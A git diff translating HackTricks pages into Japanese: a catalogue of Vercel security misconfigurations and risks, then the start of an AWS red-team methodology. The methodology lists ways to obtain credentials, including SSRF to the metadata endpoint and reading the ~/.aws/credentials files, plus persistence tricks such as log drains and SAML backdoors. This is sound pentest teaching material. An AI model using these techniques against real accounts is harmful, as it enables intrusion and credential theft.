+- **誤設定:** 統合されたサービスに過剰な権限を付与します。
+- **リスク:** プロジェクトリソースへの無許可のアクセス、データの操作、またはサービスの中断。
+- **統合監視の欠如**
+- **誤設定:** サードパーティ統合の監視や監査を怠ります。
+- **リスク:** 侵害された統合の検出が遅れ、セキュリティ侵害の影響が増大します。
---
-### Deployment Protection
+### デプロイメント保護
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**目的:** 様々な保護メカニズムを通じてデプロイメントを保護し、誰が環境にアクセスしデプロイできるかを制御します。
-#### Security Configurations:
+#### セキュリティ設定:
-**Vercel Authentication**
+**Vercel認証**
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **誤設定:** 認証を無効にするか、チームメンバーのチェックを強制しない。
+- **リスク:** 無許可のユーザーがデプロイメントにアクセスでき、データ漏洩やアプリケーションの悪用につながる可能性があります。
-**Protection Bypass for Automation**
+**自動化のための保護バイパス**
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **誤設定:** バイパスシークレットを公開するか、弱いシークレットを使用します。
+- **リスク:** 攻撃者がデプロイメント保護をバイパスし、保護されたデプロイメントにアクセスして操作することができます。
-**Shareable Links**
+**共有リンク**
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **誤設定:** リンクを無差別に共有するか、古いリンクを取り消さない。
+- **リスク:** 認証やIP制限をバイパスして保護されたデプロイメントに無許可でアクセスすることができます。
**OPTIONS Allowlist**
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **誤設定:** 過度に広いパスや機密エンドポイントを許可リストに追加します。
+- **リスク:** 攻撃者が保護されていないパスを利用して無許可のアクションを実行したり、セキュリティチェックをバイパスしたりすることができます。
-**Password Protection**
+**パスワード保護**
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **誤設定:** 弱いパスワードを使用するか、安全でない方法で共有します。
+- **リスク:** パスワードが推測されたり漏洩した場合、デプロイメントに無許可でアクセスされる可能性があります。
+- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。
-**Deployment Protection Exceptions**
+**デプロイメント保護の例外**
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **誤設定:** 本番または機密ドメインを誤って例外リストに追加します。
+- **リスク:** 重要なデプロイメントが公開され、データ漏洩や無許可のアクセスにつながる可能性があります。
+- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。
-**Trusted IPs**
+**信頼されたIP**
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+- **誤設定:** IPアドレスやCIDR範囲を不正確に指定します。
+- **リスク:** 正当なユーザーがブロックされるか、無許可のIPがアクセスを得る可能性があります。
+- **注:** **Enterprise**プランで利用可能です。
---
-### Functions
+### 関数
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**目的:** サーバーレス関数を設定し、ランタイム設定、メモリ割り当て、セキュリティポリシーを含みます。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Nothing**
+- **なし**
---
-### Data Cache
+### データキャッシュ
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**目的:** パフォーマンスを最適化し、データストレージを制御するためのキャッシング戦略と設定を管理します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Purge Cache**
- - **Misconfiguration:** It allows to delete all the cache.
- - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **キャッシュの消去**
+- **誤設定:** すべてのキャッシュを削除することを許可します。
+- **リスク:** 無許可のユーザーがキャッシュを削除し、潜在的なDoSを引き起こす可能性があります。
---
-### Cron Jobs
+### Cronジョブ
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**目的:** 指定された間隔で自動化されたタスクやスクリプトをスケジュールします。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Disable Cron Job**
- - **Misconfiguration:** It allows to disable cron jobs declared inside the code
- - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Cronジョブの無効化**
+- **誤設定:** コード内で宣言されたcronジョブを無効にすることを許可します。
+- **リスク:** サービスの中断の可能性(cronジョブが何のためにあったかによります)。
---
-### Log Drains
+### ログドレイン
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**目的:** 監視と監査のためにアプリケーションログをキャプチャし保存する外部ログサービスを設定します。
-#### Security Configurations:
+#### セキュリティ設定:
-- Nothing (managed from teams settings)
+- なし(チーム設定から管理)
---
-### Security
+### セキュリティ
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**目的:** プロジェクトアクセス、ソース保護などに影響を与えるさまざまなセキュリティ関連設定の中央ハブです。
-#### Security Configurations:
+#### セキュリティ設定:
-**Build Logs and Source Protection**
+**ビルドログとソース保護**
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **誤設定:** 保護を無効にするか、`/logs`および`/src`パスを公開します。
+- **リスク:** ビルドログやソースコードへの無許可のアクセスが可能になり、情報漏洩や脆弱性の悪用につながる可能性があります。
-**Git Fork Protection**
+**Gitフォーク保護**
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **誤設定:** 適切なレビューなしに無許可のプルリクエストを許可します。
+- **リスク:** 悪意のあるコードがコードベースにマージされ、脆弱性やバックドアが導入される可能性があります。
-**Secure Backend Access with OIDC Federation**
+**OIDC連携による安全なバックエンドアクセス**
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **誤設定:** OIDCパラメータを不正確に設定するか、安全でない発行者URLを使用します。
+- **リスク:** 欠陥のある認証フローを通じてバックエンドサービスへの無許可のアクセスが可能になります。
-**Deployment Retention Policy**
+**デプロイメント保持ポリシー**
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **誤設定:** 保持期間を短すぎる(デプロイメント履歴を失う)または長すぎる(不必要なデータ保持)に設定します。
+- **リスク:** 必要なときにロールバックができなくなるか、古いデプロイメントからのデータ露出のリスクが増加します。
-**Recently Deleted Deployments**
+**最近削除されたデプロイメント**
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **誤設定:** 削除されたデプロイメントを監視しないか、自動削除のみに依存します。
+- **リスク:** 重要なデプロイメント履歴の喪失が監査やロールバックを妨げます。
---
-### Advanced
+### 高度な設定
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**目的:** 設定を微調整し、セキュリティを強化するための追加のプロジェクト設定にアクセスします。
-#### Security Configurations:
+#### セキュリティ設定:
-**Directory Listing**
+**ディレクトリリスト**
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **誤設定:** ディレクトリリストを有効にすると、ユーザーがインデックスファイルなしでディレクトリの内容を表示できるようになります。
+- **リスク:** 機密ファイル、アプリケーション構造、攻撃の潜在的な入口が露出します。
---
-## Project Firewall
+## プロジェクトファイアウォール
-### Firewall
+### ファイアウォール
-#### Security Configurations:
+#### セキュリティ設定:
-**Enable Attack Challenge Mode**
+**攻撃チャレンジモードの有効化**
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **誤設定:** これを有効にすると、DoSに対するWebアプリケーションの防御が向上しますが、使いやすさが犠牲になります。
+- **リスク:** ユーザーエクスペリエンスの問題の可能性があります。
-### Custom Rules & IP Blocking
+### カスタムルールとIPブロッキング
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **誤設定:** トラフィックをブロック/解除することを許可します。
+- **リスク:** 悪意のあるトラフィックを許可したり、無害なトラフィックをブロックしたりする可能性があります。
---
-## Project Deployment
+## プロジェクトデプロイメント
-### Source
+### ソース
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **誤設定:** アプリケーションの完全なソースコードを読むアクセスを許可します。
+- **リスク:** 機密情報の露出の可能性があります。
-### Skew Protection
+### スキュー保護
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **誤設定:** この保護は、クライアントとサーバーアプリケーションが常に同じバージョンを使用することを保証し、クライアントがサーバーとは異なるバージョンを使用することによる非同期を防ぎます。
+- **リスク:** これを無効にすると(有効な場合)、将来の新しいデプロイメントでDoSの問題を引き起こす可能性があります。
---
-## Team Settings
+## チーム設定
-### General
+### 一般
-#### Security Configurations:
+#### セキュリティ設定:
-- **Transfer**
- - **Misconfiguration:** Allows to transfer all the projects to another team
- - **Risk:** An attacker could steal the projects
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the team with all the projects
- - **Risk:** Delete the projects
+- **転送**
+- **誤設定:** すべてのプロジェクトを別のチームに転送することを許可します。
+- **リスク:** 攻撃者がプロジェクトを盗む可能性があります。
+- **プロジェクト削除**
+- **誤設定:** すべてのプロジェクトを持つチームを削除することを許可します。
+- **リスク:** プロジェクトが削除される可能性があります。
---
-### Billing
+### 請求
-#### Security Configurations:
+#### セキュリティ設定:
-- **Speed Insights Cost Limit**
- - **Misconfiguration:** An attacker could increase this number
- - **Risk:** Increased costs
+- **Speed Insightsコスト制限**
+- **誤設定:** 攻撃者がこの数値を増加させる可能性があります。
+- **リスク:** コストの増加。
---
-### Members
+### メンバー
-#### Security Configurations:
+#### セキュリティ設定:
-- **Add members**
- - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- - **Risk:** Attacker persistence
-- **Roles**
- - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- - **Risk**: Increate the exposure of the Vercel Team
+- **メンバーの追加**
+- **誤設定:** 攻撃者が制御するアカウントを招待して持続性を維持する可能性があります。
+- **リスク:** 攻撃者の持続性。
+- **役割**
+- **誤設定:** 不要な人に過剰な権限を付与することは、Vercelの設定のリスクを増加させます。すべての可能な役割を確認するには[https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)を参照してください。
+- **リスク:** Vercelチームの露出が増加します。
---
-### Access Groups
+### アクセスグループ
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+Vercelの**アクセスグループ**は、事前定義された役割割り当てを持つプロジェクトとチームメンバーのコレクションであり、複数のプロジェクトにわたる集中管理されたアクセス管理を可能にします。
-**Potential Misconfigurations:**
+**潜在的な誤設定:**
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **メンバーの過剰権限:** 必要以上の権限を持つ役割を割り当て、無許可のアクセスやアクションを引き起こす。
+- **不適切な役割割り当て:** チームメンバーの責任に合わない役割を誤って割り当て、特権の昇格を引き起こす。
+- **プロジェクトの分離不足:** 機密プロジェクトを分離せず、意図したよりも広範なアクセスを許可する。
+- **不十分なグループ管理:** アクセスグループを定期的にレビューまたは更新せず、古くなったり不適切なアクセス権限をもたらす。
+- **不一致な役割定義:** 異なるアクセスグループ間で不一致または不明瞭な役割定義を使用し、混乱やセキュリティの隙間を引き起こす。
---
-### Log Drains
+### ログドレイン
-#### Security Configurations:
+#### セキュリティ設定:
-- **Log Drains to third parties:**
- - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- - **Risk:** Partial persistence
+- **サードパーティへのログドレイン:**
+- **誤設定:** 攻撃者がログを盗むためにログドレインを設定する可能性があります。
+- **リスク:** 部分的な持続性。
---
-### Security & Privacy
+### セキュリティとプライバシー
-#### Security Configurations:
+#### セキュリティ設定:
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- - **Misconfiguration:**
- - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- - **Risks:**
- - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- - **Misconfiguration:** Not adding critical Git scopes to the protected list.
-- **Risks:**
- - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- - **Risks:**
- - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- - **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- - **Risks:**
- - **Privacy Violations:** Exposure of sensitive user activities and data.
- - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- - **Risks:**
- - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- - **Risks:**
- - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **チームメールドメイン:** 設定されると、この設定は指定されたドメイン(例: `mydomain.com`)で終わるメールアドレスを持つVercel個人アカウントを自動的に招待し、サインアップ時およびダッシュボードでチームに参加させます。
+- **誤設定:**
+- 不正確なメールドメインや誤字のあるドメインをチームメールドメイン設定に指定する。
+- 会社特有のドメインの代わりに一般的なメールドメイン(例: `gmail.com`, `hotmail.com`)を使用する。
+- **リスク:**
+- **無許可のアクセス:** 意図しないドメインのメールアドレスを持つユーザーがチームに参加するための招待を受ける可能性があります。
+- **データ露出:** 無許可の個人に機密プロジェクト情報が露出する可能性があります。
+- **保護されたGitスコープ:** 他のVercelチームが保護されたスコープからリポジトリをデプロイするのを防ぐために、チームに最大5つのGitスコープを追加できます。複数のチームが同じスコープを指定でき、両方のチームがアクセスできます。
+- **誤設定:** 重要なGitスコープを保護リストに追加しない。
+- **リスク:**
+- **無許可のデプロイメント:** 他のチームがあなたの組織のGitスコープから無許可でリポジトリをデプロイする可能性があります。
+- **知的財産の露出:** 専有コードがデプロイされ、チーム外でアクセスされる可能性があります。
+- **環境変数ポリシー:** チームの環境変数の作成と編集に関するポリシーを強制します。具体的には、すべての環境変数が**機密環境変数**として作成され、Vercelのデプロイメントシステムによってのみ復号化できるように強制できます。
+- **誤設定:** 機密環境変数の強制を無効にする。
+- **リスク:**
+- **秘密の露出:** 環境変数が無許可のチームメンバーによって表示または編集される可能性があります。
+- **データ漏洩:** APIキーや資格情報などの機密情報が漏洩する可能性があります。
+- **監査ログ:** チームの活動を過去90日間までエクスポートします。監査ログは、チームメンバーによって実行されたアクションの監視と追跡に役立ちます。
+- **誤設定:**\
+無許可のチームメンバーに監査ログへのアクセスを付与します。
+- **リスク:**
+- **プライバシー侵害:** 機密ユーザー活動やデータの露出。
+- **ログの改ざん:** 悪意のある者が自分の足跡を隠すためにログを変更または削除する可能性があります。
+- **SAMLシングルサインオン:** チームのSAML認証とディレクトリ同期をカスタマイズし、中央集権的な認証とユーザー管理のためにアイデンティティプロバイダー(IdP)との統合を可能にします。
+- **誤設定:** 攻撃者がSAMLパラメータ(例: エンティティID、SSO URL、証明書フィンガープリント)を設定することでチームにバックドアを仕掛ける可能性があります。
+- **リスク:** 持続性を維持。
+- **IPアドレスの可視性:** IPアドレスが監視クエリやログドレインに表示されるかどうかを制御します。これは、特定のデータ保護法の下で個人情報と見なされる可能性があります。
+- **誤設定:** 必要なくIPアドレスの可視性を有効にしたままにする。
+- **リスク:**
+- **プライバシー侵害:** GDPRなどのデータ保護規制に対する不遵守。
+- **法的影響:** 個人データの取り扱いに関する罰金やペナルティの可能性。
+- **IPブロッキング:** VercelがリクエストをブロックすべきIPアドレスやCIDR範囲を設定できます。ブロックされたリクエストは請求に寄与しません。
+- **誤設定:** 攻撃者によって悪意のあるトラフィックを許可したり、正当なトラフィックをブロックしたりするために悪用される可能性があります。
+- **リスク:**
+- **正当なユーザーへのサービス拒否:** 有効なユーザーやパートナーのアクセスをブロックします。
+- **運用の中断:** 特定の地域やクライアントのサービス可用性の喪失。
---
-### Secure Compute
+### セキュアコンピュート
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Secure Compute**は、Vercel Functionsとバックエンド環境(例: データベース)間の安全でプライベートな接続を可能にし、専用IPアドレスを持つ隔離されたネットワークを確立します。これにより、バックエンドサービスを公開する必要がなくなり、セキュリティ、コンプライアンス、プライバシーが向上します。
-#### **Potential Misconfigurations and Risks**
+#### **潜在的な誤設定とリスク**
-1. **Incorrect AWS Region Selection**
- - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
- - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
- - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
- - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
- - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
- - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
- - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
- - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
- - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
- - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+1. **不正確なAWSリージョンの選択**
+- **誤設定:** Secure Computeネットワークのためにバックエンドサービスのリージョンと一致しないAWSリージョンを選択します。
+- **リスク:** レイテンシの増加、データ居住地コンプライアンスの問題、パフォーマンスの低下。
+2. **重複するCIDRブロック**
+- **誤設定:** 既存のVPCや他のネットワークと重複するCIDRブロックを選択します。
+- **リスク:** ネットワークの競合が発生し、接続の失敗、無許可のアクセス、またはネットワーク間のデータ漏洩を引き起こす可能性があります。
+3. **不適切なVPCピアリング設定**
+- **誤設定:** VPCピアリングを不正確に設定します(例: 不正確なVPC ID、未完成のルートテーブルの更新)。
+- **リスク:** バックエンドインフラストラクチャへの無許可のアクセス、セキュアな接続の失敗、データ漏洩の可能性。
+4. **過剰なプロジェクト割り当て**
+- **誤設定:** 適切な分離なしに複数のプロジェクトを単一のSecure Computeネットワークに割り当てます。
+- **リスク:** 共有IPの露出が攻撃面を増加させ、侵害されたプロジェクトが他のプロジェクトに影響を与える可能性があります。
+5. **不十分なIPアドレス管理**
+- **誤設定:** 専用IPアドレスを適切に管理またはローテーションしない。
+- **リスク:** IPスプーフィング、追跡の脆弱性、悪意のある活動に関連付けられた場合のブラックリスト化の可能性。
+6. **ビルドコンテナを不必要に含める**
+- **誤設定:** ビルド中にバックエンドアクセスが必要ない場合に、ビルドコンテナをSecure Computeネットワークに追加します。
+- **リスク:** 攻撃面の拡大、プロビジョニングの遅延、ネットワークリソースの不必要な消費。
+7. **バイパスシークレットを安全に扱わない**
+- **誤設定:** デプロイメント保護をバイパスするために使用されるシークレットを露出または不適切に扱います。
+- **リスク:** 保護されたデプロイメントへの無許可のアクセスが可能になり、攻撃者が悪意のあるコードを操作またはデプロイすることができます。
+8. **リージョンフェイルオーバー設定を無視する**
+- **誤設定:** パッシブフェイルオーバーリージョンを設定しないか、フェイルオーバー設定を誤って設定します。
+- **リスク:** プライマリリージョンの障害時にサービスのダウンタイムが発生し、可用性の低下やデータの不整合が生じる可能性があります。
+9. **VPCピアリング接続制限を超える**
+- **誤設定:** 許可された制限(例: 50接続を超える)を超えてVPCピアリング接続を確立しようとします。
+- **リスク:** 必要なバックエンドサービスに安全に接続できず、デプロイメントの失敗や運用の中断を引き起こす可能性があります。
+10. **安全でないネットワーク設定**
+- **誤設定:** 弱いファイアウォールルール、暗号化の欠如、またはSecure Computeネットワーク内の不適切なネットワークセグメンテーション。
+- **リスク:** データの傍受、バックエンドサービスへの無許可のアクセス、攻撃に対する脆弱性の増加。
---
-### Environment Variables
+### 環境変数
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**目的:** すべてのプロジェクトで使用される環境固有の変数と秘密を管理します。
-#### Security Configurations:
+#### セキュリティ設定:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **機密変数の露出**
+- **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。
+- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。
+- **機密無効**
+- **誤設定:** 無効にされている場合(デフォルト)、生成された秘密の値を読み取ることが可能です。
+- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..befcc8ee7 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**AWS** 環境の **ペンテスト** を開始する前に、AWS の仕組みについて知っておくべき **基本的なこと** がいくつかあります。これにより、何をすべきか、誤設定を見つける方法、そしてそれをどのように悪用するかを理解するのに役立ちます。
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+組織の階層、IAM、その他の基本的な概念については、以下で説明されています:
{{#ref}}
aws-basic-information/
{{#endref}}
-## Labs to learn
+## 学習用ラボ
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
-Tools to simulate attacks:
+攻撃をシミュレートするためのツール:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Red Team Methodology
+## AWS ペンテスター/レッドチームの方法論
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+AWS 環境を監査するためには、どの **サービスが使用されているか**、何が **公開されているか**、誰が **何にアクセスできるか**、そして内部の AWS サービスと **外部サービス** がどのように接続されているかを知ることが非常に重要です。
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+レッドチームの観点から、AWS 環境を侵害するための **最初のステップ** は、いくつかの **資格情報** を取得することです。以下はその方法のいくつかです:
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
- - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- - **Local File Read**
- - `/home/USERNAME/.aws/credentials`
- - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- github(または類似のもの)での **漏洩** - OSINT
+- **ソーシャル** エンジニアリング
+- **パスワード** の再利用(パスワード漏洩)
+- AWS ホスティングアプリケーションの脆弱性
+- [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス
+- **ローカルファイル読み取り**
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
+- 第三者の **侵害**
+- **内部** 従業員
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)資格情報
-Or by **compromising an unauthenticated service** exposed:
+または、**認証されていないサービス** を侵害することによって:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+または、**レビュー** を行っている場合は、これらの役割で **資格情報を要求する** ことができます:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を行う必要があります:
-## Basic Enumeration
+## 基本的な列挙
### SSRF
-If you found a SSRF in a machine inside AWS check this page for tricks:
+AWS 内のマシンで SSRF を見つけた場合は、トリックのためにこのページを確認してください:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+最初に知っておくべきことの一つは、あなたが誰であるか(どのアカウントにいるか、AWS 環境に関する他の情報)です:
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
